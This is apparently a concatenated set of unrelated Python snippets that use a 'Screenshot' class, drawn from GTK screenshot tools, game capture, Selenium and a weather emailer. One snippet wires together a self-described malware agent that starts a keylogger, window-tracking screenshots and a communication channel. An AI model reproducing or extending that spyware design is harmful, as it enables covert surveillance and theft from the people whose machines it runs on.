def __init__(self): Gtk.Window.__init__(self, title="") # Create a fullscreen window and add drawing area self.fullscreen() self.drawing_area = Gtk.DrawingArea() self.add(self.drawing_area) # Set some variables self.draw = False self.rect_x = self.rect_width = 0 self.rect_y = self.rect_height = 0 # Connect events self.drawing_area.connect('draw', self.on_draw) self.drawing_area.set_events(Gdk.EventMask.EXPOSURE_MASK | Gdk.EventMask.BUTTON_PRESS_MASK | Gdk.EventMask.BUTTON_RELEASE_MASK | Gdk.EventMask.POINTER_MOTION_MASK) self.drawing_area.connect("button-press-event", self.mouse_down) self.drawing_area.connect("motion_notify_event", self.mouse_move) self.drawing_area.connect("button-release-event", self.mouse_release) self.connect("key-press-event", self.key_press) # Set mouse cursor type to CROSS/PLUS self.set_cursor(Gdk.Cursor(Gdk.CursorType.CROSS)) # Take full screenshot to show in drawing area self.shot = Screenshot() self.pixel_buffer = self.shot.take_shot(0, 0, self.shot.full_width, self.shot.full_height, self.shot.root_window)
def take_screenshots(conn): global window_title global ss_dir global char_dir ss = Screenshot(window_title) outdir = os.path.join(ss_dir, char_dir) mkdirs(outdir) first = prev = curr = ss.screenshot() first = ss.crop_action_hud(first) i = 0 while True: curr = ss.screenshot() curr_crop = ss.crop_action_hud(curr) if i != 0: if not is_different(first, curr_crop): break if is_different(ss.crop_action_hud(prev), curr_crop): outfile = os.path.join(outdir, str(i) + '.png') ss.save(outfile) info = ss.get_info() conn.send( json.dumps({ 'event': 'new_file', 'file': os.path.abspath(outfile), 'width': info['bmWidth'], 'height': info['bmHeight'] })) i += 1 prev = curr
def save_image(self, widget, pixbuf): dialog = Gtk.FileChooserDialog("Please choose a folder", self, Gtk.FileChooserAction.SAVE, (Gtk.STOCK_CANCEL, Gtk.ResponseType.CANCEL, "Save", Gtk.ResponseType.OK)) filter_jpg = Gtk.FileFilter() filter_jpg.set_name("JPEG images") filter_jpg.add_pattern("*.jpg") dialog.add_filter(filter_jpg) dialog.set_default_size(50, 50) dialog.set_do_overwrite_confirmation(True) filename = time.strftime("%Y-%m-%d %H:%M:%S.jpg") dialog.set_current_name(filename) response = dialog.run() if response == Gtk.ResponseType.OK: filename = dialog.get_filename() if "." not in filename: filename += ".jpg" print("Saving screenshot as", dialog.get_filename()) shot = Screenshot() shot.save_shot(pixbuf, filename) dialog.destroy()
def __init__(self): self.__config = Configuration() self.__buildMalware() self.__screenshot = Screenshot(self.__config) self.__windowTracker = WindowTracker(self.__config, self.__screenshot) self.__communication = Communication(self, self.__config) self.__keylogger = Keylogger(self.__config, self.__communication) self.__keylogger.start() self.__windowTracker.start() self.__communication.start()
def save_screenshot(drv, path="", filename=""): """ Get a browser to take a screenshot with, and a path to save the screenshot to. The filename will be decided using the browser's name. Returns the screenshot entity. """ scr = Screenshotter() logger = logging.getLogger('obs.Screenshotter') wid, hei = drv.get_window_size().values() logger.debug("Window size: " + str(wid) + "x" + str(hei)) if "firefox" in drv.name: sshot_path = scr.save_screenshot_firefox(drv, path, filename) elif "internet explorer" in drv.name: sshot_path = scr.save_screenshot_ie(drv, path, filename) elif "chrome" in drv.name: sshot_path = scr.save_screenshot_chrome(drv, path, filename) elif "phantomjs" in drv.name: sshot_path = scr.save_screenshot_phantomjs(drv, path, filename) else: logger.error("Non recognized browser!\nOnly Firefox, Chrome and IE are supported (for now, anyways.)") raise ValueError("Non recognized browser!") s = Screenshot(sshot_path, drv.current_url, datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'), drv.name, wid, hei) if "$hash" in s.path: # Hash value must be replaced after writing the file hashed_path = s.path.replace("$hash", s.hashvalue) os.renames(s.path, hashed_path) s.path = hashed_path logger.debug("Taken screenshot with path: " + s.path) return s
from Screenshot import Screenshot s = Screenshot() s.capture('http://www.google.ca', 'googlepic')
class CroppedScreen(Gtk.Window): def __init__(self): Gtk.Window.__init__(self, title="") # Create a fullscreen window and add drawing area self.fullscreen() self.drawing_area = Gtk.DrawingArea() self.add(self.drawing_area) # Set some variables self.draw = False self.rect_x = self.rect_width = 0 self.rect_y = self.rect_height = 0 # Connect events self.drawing_area.connect('draw', self.on_draw) self.drawing_area.set_events(Gdk.EventMask.EXPOSURE_MASK | Gdk.EventMask.BUTTON_PRESS_MASK | Gdk.EventMask.BUTTON_RELEASE_MASK | Gdk.EventMask.POINTER_MOTION_MASK) self.drawing_area.connect("button-press-event", self.mouse_down) self.drawing_area.connect("motion_notify_event", self.mouse_move) self.drawing_area.connect("button-release-event", self.mouse_release) self.connect("key-press-event", self.key_press) # Set mouse cursor type to CROSS/PLUS self.set_cursor(Gdk.Cursor(Gdk.CursorType.CROSS)) # Take full screenshot to show in drawing area self.shot = Screenshot() self.pixel_buffer = self.shot.take_shot(0, 0, self.shot.full_width, self.shot.full_height, self.shot.root_window) def set_cursor(self, cursor): self.get_root_window().set_cursor(cursor) def on_draw(self, wid, cr): # Draw the full screen shot Gdk.cairo_set_source_pixbuf(cr, self.pixel_buffer, 0, 0) cr.paint() # rectangle overlay cr.set_source_rgba(1, 1, 1, 0.1) cr.rectangle(0, 0, self.shot.full_width, self.shot.full_height) cr.fill() # Draw rectangle for current selection if self.draw: cr.set_source_rgba(0.5, 0.5, 0.5, 0.3) cr.rectangle(self.rect_x, self.rect_y, self.rect_width, self.rect_height) cr.fill() return True def mouse_down(self, w, e): if e.button == MouseButtons.LEFT_BUTTON: self.rect_x = e.x self.rect_y = e.y self.init_x = e.x self.init_y = e.y self.draw = True def mouse_release(self, w, e): if e.button == MouseButtons.LEFT_BUTTON: y = e.y x = e.x self.get_rect(x, y) self.draw = False self.close() # restore the cursor type self.set_cursor(Gdk.Cursor(Gdk.CursorType.LEFT_PTR)) def mouse_move(self, w, e): x = e.x y = e.y if self.draw: self.get_rect(x, y) self.queue_draw() # Calculate rectangle to draw selection def get_rect(self, x, y): x1 = self.init_x y1 = self.init_y self.rect_width = abs(x-x1) self.rect_height = abs(y-y1) if x < x1 and y < y1: self.rect_x = x self.rect_y = y elif x < x1 and y > y1: self.rect_x = x elif x > x1 and y < y1: self.rect_y = y else: pass def key_press(self, widget, event): # if Escape -> 65307 is the code if event.keyval == 65307: self.close() self.set_cursor(Gdk.Cursor(Gdk.CursorType.LEFT_PTR))
def grab_screen(self): """ takes a screenshot and return the markdown string in the system clipboard """ print("May I take a Screenshot for you Sifu ?") screengrab = Screenshot() screengrab.grab_screen()
pygame.display.set_caption('Space War - BETA') pygame.display.set_icon( pygame.image.load('img/ship-1-mini.png').convert_alpha()) def rnd(): return random.randint(0, srect.width), random.randint(0, srect.height) def game_over(ship): ship.save_score() cont = True son = Son() screenshot = Screenshot() while cont: pygame.mouse.set_visible(False) ship = Ship() towers = [] life = Life() son.play_music('menu1.4.wav') text = run_mouse_menu(ship.get_best_score()).lower() game = False a_propos = False if "jouer" in text: game = True elif "quitter" in text:
#!/usr/bin/env python3 #-*- coding:utf-8 -*- 请在Python3下运行此程序='Please run this program with Python3' '''此脚本需要在网速较好的情况下运行,否则会出现网页一直加载不完的情况''' import time from SendEmail import sendEmail from Screenshot import Screenshot try: text_body = 'weather' # ATTENTION: you must add the email's body, otherwise it CANNOT be sent out! subject = 'ZhengZhou weather for 7 days and 15 days later' ss = Screenshot() attachment = ss.saveScreenshot() sendEmail(subject=subject,text_body=text_body , attachment=attachment) # sendEmail(subject=subject,text_body=text_body) except Exception as e: timestyle = time.strftime('%m%d_%H%M%S') logname = 'err_{}.log'.format(timestyle) print('err--->', str(e)) with open(logname, 'w') as f: f.write(str(e))
def __init__(self): Gtk.Window.__init__(self, title="ScreenEat") self.set_position(Gtk.WindowPosition.CENTER_ALWAYS) self.set_resizable(False) grid = Gtk.Grid(row_homogeneous=False, column_homogeneous=False) grid.props.margin_top = 5 grid.props.margin_right = 5 grid.props.margin_left = 5 grid.props.margin_bottom = 5 self.add(grid) self.grid = grid # Take shot, considering provided arguments shot = Screenshot() arguments = sys.argv[1::] if "--cropped" in arguments: win = CroppedScreen() win.connect("delete-event", Gtk.main_quit) win.set_modal(True) win.set_keep_above(True) win.show_all() Gdk.threads_enter() Gtk.main() Gdk.threads_leave() # If no rectangle is drawn, no need to get a screenshot if (win.rect_width * win.rect_height == 0): raise ManualError("No crop rectangle defined. Exiting.") buff = win.pixel_buffer pixel_buffer = buff.new_subpixbuf(win.rect_x, win.rect_y, win.rect_width, win.rect_height) elif "--active" in arguments: pixel_buffer = shot.take_shot(0, 0, shot.active_width, shot.active_height, shot.active_window) else: pixel_buffer = shot.take_shot(0, 0, shot.full_width, shot.full_height, shot.root_window) # save shot for future, if fails then exit shot.save_shot(pixel_buffer, "") self.filename = shot.filename self.url = "" # Create image preview ratio = pixel_buffer.get_height()/pixel_buffer.get_width() if ratio > 1: scaled = pixel_buffer.scale_simple(500/ratio, 500, GdkPixbuf.InterpType.BILINEAR) else: scaled = pixel_buffer.scale_simple(500, 500*ratio, GdkPixbuf.InterpType.BILINEAR) self.pixel_buffer = pixel_buffer image = Gtk.Image().new_from_pixbuf(scaled) self.image = image # create upload section: upload_section = Gtk.Box(spacing=5) upload_section.props.margin_top = 5 self.upload_section = upload_section # create buttons for upload section: button_upload = Gtk.Button(label="Upload") button_upload.connect("clicked", self.upload) self.button_upload = button_upload upload_section.add(button_upload) # create buttons for copy section: button_copyurl = Gtk.Button(label="Copy url") button_copyurl.connect("clicked", self.copy_url) self.button_copyurl = button_copyurl upload_section.add(button_copyurl) # Create misc section: misc_section = Gtk.Box(spacing=5) misc_section.props.margin_top = 5 misc_section.props.halign = Gtk.Align.END # Create buttons for misc section button_save = Gtk.Button(image=Gtk.Image(stock=Gtk.STOCK_SAVE_AS)) button_save.set_tooltip_text("Save image (Ctrl+S)") button_save.connect("clicked", self.save_image, pixel_buffer) misc_section.add(button_save) button_copy = Gtk.Button(image=Gtk.Image(stock=Gtk.STOCK_COPY)) button_copy.set_tooltip_text("Copy image to Clipboard") button_copy.connect("clicked", self.copy_image, pixel_buffer) misc_section.add(button_copy) button_settings =\ Gtk.Button(image=Gtk.Image(stock=Gtk.STOCK_PREFERENCES)) button_settings.set_tooltip_text("Settings") button_settings.connect("clicked", self.show_config) misc_section.add(button_settings) # Create notification label label_status = Gtk.Label("ScreenEat") label_status.set_margin_top(5) label_status.set_alignment(xalign=0.5, yalign=0.5) label_status.props.width_chars = 24 self.label_status = label_status # attach to grid grid.attach(image, 0, 0, 3, 1) grid.attach_next_to(upload_section, image, Gtk.PositionType.BOTTOM, 1, 1) grid.attach_next_to(label_status, upload_section, Gtk.PositionType.RIGHT, 1, 1) grid.attach_next_to(misc_section, label_status, Gtk.PositionType.RIGHT, 1, 1) # connect the main window to keypress self.connect("key-press-event", self.key_press) self.connect("delete-event", Gtk.main_quit) self.show_all() self.button_copyurl.hide() # if automatic upload then start uploading now config = ConfigWindow.load_config() if (config["automatic-upload"]): self.upload(None)